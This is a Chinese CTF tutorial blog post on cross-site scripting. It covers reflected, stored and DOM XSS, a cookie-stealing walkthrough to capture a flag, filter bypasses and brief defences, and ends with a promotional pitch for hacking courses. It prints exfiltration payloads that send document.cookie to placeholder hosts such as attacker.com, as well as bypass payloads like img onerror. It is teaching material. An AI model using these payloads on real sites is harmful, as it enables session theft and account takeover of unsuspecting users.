CTF Web 专项:XSS 跨站脚本攻击快速入门
XSS(Cross - Site Scripting,跨站脚本攻击)是 Web 安全领域的核心考点,其本质是攻击者向 Web 页面注入恶意脚本(像 JavaScript 脚本),当用户访问该页面时,脚本会被浏览器执行,进而实现窃取用户信息、控制用户行为等目的。在 CTF(夺旗赛)中,常通过 XSS 来获取 Cookie、伪造操作等以拿到 Flag,下面快速讲解核心要点。
一、XSS 核心原理
Web 应用若未对用户输入(比如评论内容、搜索框输入、URL 参数等)进行过滤或者转义处理,攻击者注入的脚本就会被嵌入到页面的源码里。当其他用户访问这个页面时,浏览器会把恶意脚本当作合法代码来执行,从而达成攻击目的(例如窃取 Cookie、进行弹窗诈骗等)。
二、3 类常见 XSS 类型
(一)反射型 XSS
特点:恶意脚本是通过 URL 参数注入的,页面会 “反射” 执行该脚本,且不会持久存储脚本。
CTF 场景:假设 URL 中包含?name=xxx这样的参数,注入<script>alert(1)</script>,当访问这个 URL 时,脚本就会被执行,弹出警告框。
(二)存储型 XSS
特点:恶意脚本会被存储到服务器(比如数据库、文件等地方),所有访问该页面的用户都会触发这个脚本。
CTF 场景:以留言板功能为例,注入<script>document.location='``http://attacker.com/steal?cookie=``'+document.cookie</script>,当管理员查看留言时,Cookie 就会被发送到攻击者的服务器。
(三)DOM 型 XSS
特点:通过修改页面的 DOM 结构来执行脚本,和服务端交互没有关系,属于纯前端漏洞。
CTF 场景:页面中存在document.write(location.hash.substr(1))这样的代码,构造 URL#<script>alert(1)</script>,脚本会被写入页面并执行。
三、CTF 实战:从注入到拿 Flag
以 “反射型 XSS 拿 Flag(目标:窃取管理员 Cookie,Cookie 中包含 Flag)” 为例:
- 构造 payload:编写用于窃取 Cookie 的脚本,例如
<script>document.location='``http://your-server.com/steal?cookie=``'+document.cookie</script>。 - 注入 payload:在 URL 参数(比如
?name=<script>...</script>)中注入该脚本,生成恶意链接。 - 诱导触发:让管理员点击这个恶意链接(在 CTF 中,常因为 “管理员会查看所有提交内容” 的规则,直接提交链接就可触发)。
- 获取 Flag:当管理员访问后,包含
Flag{xxx}的 Cookie 会发送到your-server.com,从而拿到 Flag。
四、绕过与防御思路
(一)绕过过滤
如果前端或者服务端过滤了<script>等关键字,可通过以下方式绕过:
- 大小写混合:使用
<ScRiPt>alert(1)</ScRiPt>; - 标签变形:采用
<img src=1 onerror=alert(1)>(利用onerror事件来执行脚本); - 编码注入:把脚本转换成 URL 编码、HTML 实体编码后再注入。
(二)防御核心
服务端要对用户输入进行严格的过滤、转义(比如把<转成<),或者前端使用CSP(内容安全策略)来限制脚本的来源。
文章来自网上,侵权请联系博主
互动话题:如果你想学习更多网安方面的知识和工具,可以看看以下题外话!
题外话
黑客&网络安全如何学习
如果你也对网路安全技术感兴趣,但是又没有合适的学习资源,我可以把私藏的网安学习资料免费共享给你们,来看看有哪些东西。
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。


1225

被折叠的 条评论
为什么被折叠?



